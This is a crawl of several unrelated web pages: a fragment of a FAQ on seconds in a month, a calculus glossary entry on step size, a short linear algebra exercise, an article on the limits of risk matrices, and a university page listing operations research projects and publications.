Answer. In technology and data applications, precise time measurements in seconds are crucial for synchronizing processes. This helps people to manage data flow and ensure accurate time stamping in
Question. Can calculating seconds in a month be applied to other time units?
Answer. Yes! The method for calculating seconds in a month can be updated to other time units. You can use this approach to convert any unit into seconds. As a result, it allows for consistent and
precise time calculations across various contexts.
No Comments
Post A Comment | {"url":"https://thetechiepie.com/general/how-many-seconds-in-a-month/","timestamp":"2024-11-13T04:15:23Z","content_type":"text/html","content_length":"112912","record_id":"<urn:uuid:decbf4af-faa2-4a3b-b769-4c7397053f6d>","cc-path":"CC-MAIN-2024-46/segments/1730477028326.66/warc/CC-MAIN-20241113040054-20241113070054-00202.warc.gz"} |
Step size - (Calculus II) - Vocab, Definition, Explanations | Fiveable
Step size
from class:
Calculus II
Step size is the interval between successive points used in numerical methods for solving differential equations. It determines the accuracy and computational cost of the solution.
congrats on reading the definition of step size. now let's actually learn it.
5 Must Know Facts For Your Next Test
1. Step size, often denoted as $h$, is a crucial parameter in Euler's method and other numerical techniques.
2. A smaller step size generally increases the accuracy of the numerical solution but also requires more computations.
3. Choosing an appropriate step size involves a trade-off between computational efficiency and accuracy.
4. In adaptive step-size methods, the step size can change dynamically based on error estimates.
5. Large step sizes can lead to significant errors or instability in the numerical solution.
Review Questions
• Why does a smaller step size typically result in a more accurate solution?
• How does changing the step size affect computational cost?
• What is an adaptive step-size method?
© 2024 Fiveable Inc. All rights reserved.
AP® and SAT® are trademarks registered by the College Board, which is not affiliated with, and does not endorse this website. | {"url":"https://library.fiveable.me/key-terms/calc-ii/step-size","timestamp":"2024-11-07T04:23:52Z","content_type":"text/html","content_length":"132546","record_id":"<urn:uuid:6a9d2a12-79b7-41df-b86f-45c9829d2c50>","cc-path":"CC-MAIN-2024-46/segments/1730477027951.86/warc/CC-MAIN-20241107021136-20241107051136-00857.warc.gz"} |
Study all night, wake up
Study all night, wake up and study some more. Eat some mr. noodles before you goto bed because you are hungry.
14) Define the linear transformation T from R4 to R4 as follows: the ith component of T(x) is the sum of the first i components of x. Find the matrix of T. | {"url":"https://www.davekellam.com/2000/11/study-all-night-wake-up/","timestamp":"2024-11-13T01:25:08Z","content_type":"text/html","content_length":"27521","record_id":"<urn:uuid:6cb27825-1f3d-448d-ae2a-5828f9ab0d4f>","cc-path":"CC-MAIN-2024-46/segments/1730477028303.91/warc/CC-MAIN-20241113004258-20241113034258-00249.warc.gz"} |
What are Risk Matrices, and Should I Use Them?
Risk matrices are commonly used in many risk management practices. There are a number of issues with risk matrices and overall, I would discourage their indiscriminate use. That is not to say that
they don’t have a place but caution is advised in using them. If you have to use a risk matrix due, for example, to corporate policy, the following advice may help.
Limitations of Risk Matrices
Some of the problems with risk matrices are that they can:
• Assign identical ratings to quantitatively different risks.
• Lead to errors in risk prioritization, as calculation of consequences cannot be made objectively for uncertain outcomes.
• Rely on subject matter expert judgments, resulting in wide variations in risk ratings, as different users assess the differing likelihood and consequence ratings unless explicitly stated, lead to
assumptions regarding timeframes and frequencies of activities or events
• Oversimplify the volatility of a risk, as some risks are relatively static over time while others can change rapidly
• Lead assessors to overlook causation and downstream consequences
For an overview of some of the limitations of risk matrices, see “What’s Wrong With RiskMatrices”¹.
If using risk matrices, it’s best to avoid:
• Using simple (eg: 2x2) risk matrices as a risk calculation tool. They have some uses for initial discussion or prioritization (See: Stroud Matrix) but are unable to provide accurate
prioritization of risks.
• Plotting risks as a single point value o likelihood and consequence. All risks are likely to have a range of consequences and should be plotted accordingly. See: Bubble Charts for an example.
• Risk matrices where risks that have the same semi-quantitative ranking (ordinal or priority ranking) have differing quantitative values. For example, on a 5x5 matrix, if risk ‘A’ has a likelihood
of 2 and a consequence of 4 it will have a priority ranking of 6. If a likelihood of 2 is 20% and consequence of 4 is $10 million the Expected Monetary Value (EMV) will be $2million. Similarly
risk ‘B’ with the likelihood of 4 (80%) and consequence of 2 ($1million) will also rank as a 6 but have an EMV of $800,000. Although both have a rating of 6, the EMVs of $800,000 and $2,000,000
are substantially different.
If you do wish to or are required to use risk matrices, some of the best ways to use them include:
• Express ratings as a probability distribution across several squares.
• Use quantitative measures such as 0.0 to 1.0 for probability, and $0 to $X for consequence, where $X is the equity of the organization (or the quantity of cash or other items which would ensure
the total demise of the organization if it eventuated).
• As a framework for discussion.
• Providing calibration training to users beforehand.
• Using explicit likelihood and consequence descriptors which are as quantitative as possible; and then check and confirm at each stage that the team share the same understanding of the risks and
the relevant descriptors.
• Use only risk statements which have been clearly defined.
• Using a matrix with more granularity (eg: a 10x10 matrix) to limit any tendency to cluster risks on a single setting.
• Brainstorming risk events based on concepts of likelihood, for example, by considering what are the most likely and unlikely risk events.
• Brainstorming risk events based on consequences, by considering the nature and relative significance of consequences in comparison to each other, prioritizing the consequences, and then moving
‘upstream’ to consider the potential sources and causes of such events.
• Contrasting and discussing risks in a comparative fashion, e.g. Are the organization’s risks from attack by an external hacker attack greater or lesser than the risk from an insider threat? If
so, by how much and why? What are the causes and effects of each?
• As a framework for communicating comparative risk ratings and quality of controls. For an example of how to use risk matrices as a communication tool see Communication and“What’s Right With Risk
• Note: the traditional view of risk is negative, representing loss and adverse consequences and the following risk matrix examples describe only negative consequences. ISO31000 includes the
possibility of positive risk or opportunity associated with uncertainties that could have a beneficial effect on achieving objectives.³ It is equally practical to construct positive risk
matrices, or matrices that show both positive and negative consequences. SeeSRMBOK, Figure 6.11 for an example. | {"url":"https://www.srmam.com/post/what-are-risk-matrices-and-should-i-use-them","timestamp":"2024-11-13T06:30:23Z","content_type":"text/html","content_length":"1050475","record_id":"<urn:uuid:77182f1c-ca68-4d41-8572-bc5ac044b190>","cc-path":"CC-MAIN-2024-46/segments/1730477028326.66/warc/CC-MAIN-20241113040054-20241113070054-00081.warc.gz"} |
Decision Sciences and Operations Research
Our key research focus areas include
• Linear, integer, and nonlinear optimization
• Network theory and network design
• Algorithms
• Metaheuristics
• Multi-criteria decision making
• Stochastic processes
• Queueing theory
• Stochastic programming
• Forecasting models
• Military operations research
Members of the research group
• Z. Müge Avşar
• Meral Azizoğlu
• İsmail Serdar Bakal
• Sakine Batun
• Pelin Bayındır
• Serhan Duran
• Sinan Gürel
• Cem İyigün
• Esra Karasakal
• Gülser Köksal
• Nur Evin Özdemirel
• Seçil Savaşaneril
• Mustafa Kemal Tural
Selected projects
• Elektronik Harp ve Radar, Sektör Kabiliyet Atlası, Döner Sermaye Projesi, STM, July 2019 - February 2020. Team Member(s): Tural M.K.
• Türkiye Zeytinyağı Endüstrisinde Karar Problemleri (Decision Problems in Turkish Olive Oil Industry), METU-BAP-07-02-2017-004-067, Lisansüstü Tez Projesi, January 2017 - December 2017. Team
member(s): Meral S., Balkan B.A.
• Çok Kriterli Tam Sayılı Optimizasyon Problemlerinde Tüm Etkin Çözümlerin Bulunması için Yaklaşımlar, METU BAP-08-11-2016-70, 2016 - Ongoing. Team member(s): Karakaya G. (Project Director),
Köksalan M. (Researcher)
• Belirsizlik Halindeki Bozulmuş Ağlarda Öğrenme ve Optimizasyon Ödünleşimi (Learning and Optimization Trade-Off in Disrupted Networks under Uncertainty), TÜBİTAK 2232, March 2016 - March 2018.
Team Member(s): Çelik M.
• Collaborative Research: Resource Allocation with Learning in Dynamic and Partially Observable Networks, NSF CMMI-1538860, January 2016 - December 2018. Team member(s): Keskinocak P., Çelik M.,
Ergun Ö.
• Çok Amaçlı Tamsayı Problemlerinde Baskın Çözümler Üzerine: Analizler Yaklaşımlar ve Uygulamalar (Nondominated Points of Multi-objective Integer Programming Problems: Analysis Approaches and
Applications), TÜBİTAK 1001, March 2016 - December 2018. Team member(s): Lokman B., Köksalan M., Ceyhan G., Doğan I., Özarık S. S.
• Belirsizlik Altında Esnek Tesis Yerleşimi için Yenilikçi Yaklaşımlar, METU BAP-03-07-2015-002, January 2015 - December 2015. Team member(s): Süral H., Çelik M., Efeoğlu B.
• Interactive Approaches for Bi-Objective UAV Route Planning in Continuous Space, AF Office of Scientific Research, 2015 - Ongoing. Team member(s): Köksalan M., Tezcaner-Öztürk C., Türeci H., Bakan
• HERİKKS Harp Yönetimi Yazılımı – Füze Tehdit Değerlendirme ve Silah Tahsis (F-TDST) Projesi (Missile Target-Weapon Allocation in Air Defense for ASELSAN, ASELSAN, March 2015 - August 2015. Team
member(s): Kırca Ö., Köksal G., Dinler D., Gökayaz G., Kemikli G.
• Minimum Ağırlıklı Maksimum Eşleme Problemi için Polihedral Yaklaşımlar, METU BAP-08-11-2014-006, January 2015 - December 2015. Team member(s): Tural M.K.
• Çok Amaçlı Ürün ve Süreç Tasarımı Optimizasyonu için Etkileşimli Yaklaşımlar, METU BAP-03-07-2014-002, January 2014 - December 2015. Team member(s): Köksalan M., Köksal G., Özateş M.
• Çok Amaçlı Sıralama Problemleri için Etkileşimli ve Olasılıklı Yaklaşımlar, BAP-03-07-2014-001, January 2014 - December 2014. Team member(s): Serin Y., Köksalan M., Mutlu S.
• Optimizasyon ve Genel Denge Modelleri Aracılığı ile Çok Amaçlı Enerji ve Çevre Politikaları Analizi, METU BAP-08-11-2014-019, January 2014 - December 2014. Team member(s): Köksalan M., Voyvoda
E., Yıldız Ş.
• CONCOORD - Consolidation and Coordination in Urban Areas - Joint Programming Initiative Urban Europe, April 2013 - Ongoing. Team member(s): Süral H., İyigün C., Gürel S., Kunter U.C., Farham
M.S., Pancaroğlu M. Project Partners: Eindhoven University of Technology, University of Twente, Technical University Denmark, Vienna University of Economics and Busin.
• Substitution Policies and an Analysis of Benefit of Substitution for Manufacturers, TÜBİTAK-112M431, June 2012 - March 2014. Team member(s): Savaşaneril S., Töre N.
• Havayolu Taşımacılığında Çizelge Aksaklıkları Yönetimi, METU BAP-08-11-2011-125, January 2011 - Ongoing. Team member(s): Gürel S., Arıkan U.
• Etkin Radar Silah Yerleşim Planlama Algoritmasının Geliştirilmesi, ASELSAN, December 2014 - June 2015. Team member(s): İyigün C., Limon Y.
• Development of Performance Based Project Management Decision Support System for Construction Project Consultancy Companies, ES Proje, June 2014 - June 2015. Team member(s): Duran S.
• Smart Energy Aware Systems – Development of Optimization Models to be Integrated in Smart Home Systems, INNOVA, August 2014 - August 2015. Team member(s): Duran S., İyigün C.
Selected publications
• Tural M. K. (2019), Valid inequalities for the maximal matching polytope, Adıyaman Üniversitesi Fen Bilimleri Dergisi, 9(2), pp 374-385.
• Ak M., Kentel E., Savaşaneril S. (2019), Quantifying the revenue gain of operating a cascade hydropower plant system as a pumped-storage hydropower system, Renewable Energy, 139, pp 739-752.
• Bülbül P., Bayındır Z. P., Bakal İ. S. (2019), Exact and heuristic approaches for joint maintenance and spare parts planning, Computers and Industrial Engineering, 129, pp 239-250.
• Ceyhan G., Köksalan M., Lokman B. (2019), Finding a representative nondominated set for multi-objective mixed ınterger programs, European Journal of Operational Research, 272(1), pp 61-77.
• Karasakal E., Karasakal O., Bozkurt A. (2019), An approach for extending promethee to reflect choice behaviour of the decision maker, Endüstri Mühendisliği Dergisi, 30(2), pp 123-140.
• Karsu Ö., Azizoğlu M. (2019), An exact algorithm for the minimum squared load assignment problem, Computers and Operations Research, 10, pp 76-90.
• Selçuk A. M., Avşar Z. M. (2019), Dynamic pricing in airline revenue management, Journal of Mathematical Analysis and Applications, 478, pp 1191-1217.
• Terciyanlı E., Avşar Z. M. (2019), Alternative risk-averse approaches for airline network revenue management, Transportation Research Part E: Logistics and Transportation Review, 125, pp 27-46.
• Akteke-Öztürk B., Köksal G., Weber G.W. (2018), Nonconvex optimization of desirability functions, Quality Engineering, 30(2), pp 293-310 .
• Eroğlu E. , Azizoğlu M. (2018), Exact approaches for the directed bi-objective Chinese postman problem, Endüstri Mühendisliği , 29, pp 15-30 .
• Karakaya G., Köksalan M. (2018), Interactive approaches for bi-objective problems with progressively-changing solution sets, International Transactions in Operational Research, 25(3) , pp
1027-1052 .
• Karakaya G., Köksalan M., Ahıpaşaoğlu S. D. (2018), Interactive algorithms for a broad underlying family of preference functions, European Journal of Operational Research, 265(1), pp 248-262 .
• Lokman B., Köksalan M., Korhonen P. J., Wallenius J. (2018), An interactive approximation algorithm for multi-objective integer programs, Computers & Operations Research, 96, pp 80-90 .
• Tural Hesapçıoğlu S., Tural M. K. (2018), Prevalence of peer bullying in secondary education and its relation with high school entrance scores, Düşünen Adam-Journal of Psychiatry and Neurological
Sciences, 31, pp 347-355 .
• Yörükoğlu S., Avşar Z. M., Kat B. (2018), An integrated day-ahead market clearing model: incorporating paradoxically rejected/accepted orders and a case study, Electric Power Systems Research,
163, pp 513-522 .
• Ak M.K., Erdoğan E., Savaşaneril S. (2017), Operating policies for energy generation and revenue management in single-reservoir hydropower systems, Renewable and Sustainable Energy Reviews, 78,
pp 1253.
• Çağlar M., Gürel S. (2017), Public R&D project portfolio sSelection problem with cancellations, OR Spectrum, 39, pp 659-687.
• Çelik M. (2017), Network restoration and recovery in humanitarian operations: Framework, literature review, and research directions, Surveys in Operations Research and Management Science, 21(2),
pp 47-61.
• Karasakal E., Aker P. (2017), A multicriteria sorting approach based on data envelopment analysis for R&D project selection problem, Omega, 73, pp 79-92
• Köksalan M., Mousseau V., Özpeynirci S. (2017), Multi-criteria sorting with category size restrictions, International Journal of Information Technology & Decision Making, 16(1), pp 5-23.
• Köksalan M., Tezcaner Öztürk D. (2017), An evolutionary approach to generalized biobjective traveling salesperson problem, Computers & Operations Research, 79, pp 304-313.
• Arıkan U., Gürel S., Aktürk M.S. (2016), Integrated aircraft and passenger recovery with cruise time controllability, Annals of Operations Research, 236(2), pp 295-317.
• Dinler D., Tural M.K. (2016), A minisum location problem with regional demand considering farthest euclidean distances, Optimization Methods and Software, 31(3), pp 446-470
• Karakaya G., Köksalan M. (2016), An interactive approach for bi-attribute multi-item auctions, Annals of Operations Research, 245, pp 97-119.
• Karasakal E., Silav A. (2016), A multi-objective genetic algorithm for a bi-objective facility location problem with partial coverage, TOP, 24(1), pp 206-232.
• Köksalan M., Şakar C.T. (2016), An interactive approach to stochastic programming-based portfolio optimization, Annals of Operations Research, 245, pp 47-66.
• Lokman B., Köksalan M., Korhonen P., Wallenius J. (2016), An interactive algorithm to find the most preferred solution of multi-objective integer programs, Annals of Operations Research, 245, pp
• Tezcaner Öztürk D., Köksalan M. (2016), An interactive approach for biobjective integer programs under quasiconvex preference functions, Annals of Operations Research, 244(2), pp 677-696.
• Tural, M.K. (2016), Maximal matching polytope in trees, Optimization Methods and Software, 31(3), pp 471-478.
• Arıkan U., Gürel S., Aktürk M.S. (2016), Integrated aircraft and passenger recovery with cruise time controllability, Annals of Operations Research, 236(2), pp 295-317.
• Dinler D., Tural M.K. (2016), A minisum location problem with regional demand considering farthest euclidean distances, Optimization Methods and Software, 31(3), pp 446-470.
• Karakaya G., Köksalan M. (2016), An interactive approach for bi-attribute multi-item auctions, Annals of Operations Research, 245, pp 97-119.
• Karasakal E., Silav A. (2016), A multi-objective genetic algorithm for a bi-objective facility location problem with partial coverage, TOP, 24(1), pp 206-232.
• Köksalan M., Şakar C.T. (2016), An interactive approach to stochastic programming-based portfolio optimization, Annals of Operations Research, 245, pp 47-66.
• Tural M.K. (2016), Maximal matching polytope in trees, Optimization Methods and Software, 31(3), pp 471-478.
• Azizoğlu, M., Çetinkaya F.C., Kırbıyık S. (2015), LP relaxation-based solution algorithms for the multi-mode project scheduling with a non-renewable resource, European Journal of Industrial
Engineering, 9(4), pp 450-469.
• Çavdar B., Sokol J. (2015), TSP race: Minimizing completion time in time-sensitive applications, European Journal of Operational Research, 244(1), pp 47-54.
• Çavdar B., Sokol J. (2015), A distribution-free TSP tour length estimation model for random graphs, European Journal of Operational Research, 243(2), pp 588-598.
• Çelik B., Karasakal E., İyigün C. (2015), A probabilistic multiple criteria sorting approach based on distance functions, Expert Systems with Applications, 42(7).
• Damgacıoğlu H., Dinler D., Özdemirel N.E., İyigün C. (2015), A genetic algorithm for the uncapacitated single allocation planar hub location problem, Computers & Operations Research, 62, pp
• Dinler D., Tural M.K., İyigün C. (2015), Heuristics for a continuous multi-facility location problem with demand regions, Computers & Operations Research, 62, pp 237-256.
• Duran A.S., Gürel S., Aktürk M.S. (2015), Robust airline scheduling with controllable cruise times and chance constraints, IIE Transactions, 47, pp 64–83.
• Farham M.S., Süral H., İyigün C. (2015), The Weber problem in congested regions with entry and exit points, Computers & Operations Research, 62, pp 177-183.
• Özmen M., Tunç S., Yağız G., Yıldırım S. , Yıldız E., Köksalan M., Gürel S. (2015), Merkezi vezne yer seçimi ve ATM envanter yönetim politikaları ile nakit yönetim sistemi optimizasyonu, Endüstri
Mühendisliği Dergisi, 26(2), pp 4-20.
• Avşar Z.M., Zijm W.H. (2014), Approximate queueing models for capacitated multi-stage inventory systems under base-stock control, European Journal of Operational Research, 236(1), pp 135-146.
• Çolak E., Azizoğlu M. (2014), A resource investment problem with time/resource trade-offs, Journal of Operational Research Society, 65, pp 621-636.
• Dehnokhalaji A, Korhonen P.J., Köksalan M., Nasrabadi N., Öztürk D.T., Wallenius J. (2014), Constructing a strict total order for alternatives characterized by multiple criteria: An extension,
Naval Research Logistics, 61(2), pp 155-163.
• Güden H., Süral H. (2014), Locating mobile facilities in railway construction management, Omega, 45, pp 71-79.
• Lokman B., Köksalan M. (2014), Finding highly preferred points for multi-objective integer programs, IIE Transactions, 46, pp 1181–1195. | {"url":"http://ie.metu.edu.tr/en/decision-sciences-and-operations-research","timestamp":"2024-11-06T01:18:08Z","content_type":"text/html","content_length":"39579","record_id":"<urn:uuid:9f204fef-faee-49d4-bf8b-71be6d0e7f7e>","cc-path":"CC-MAIN-2024-46/segments/1730477027906.34/warc/CC-MAIN-20241106003436-20241106033436-00040.warc.gz"} |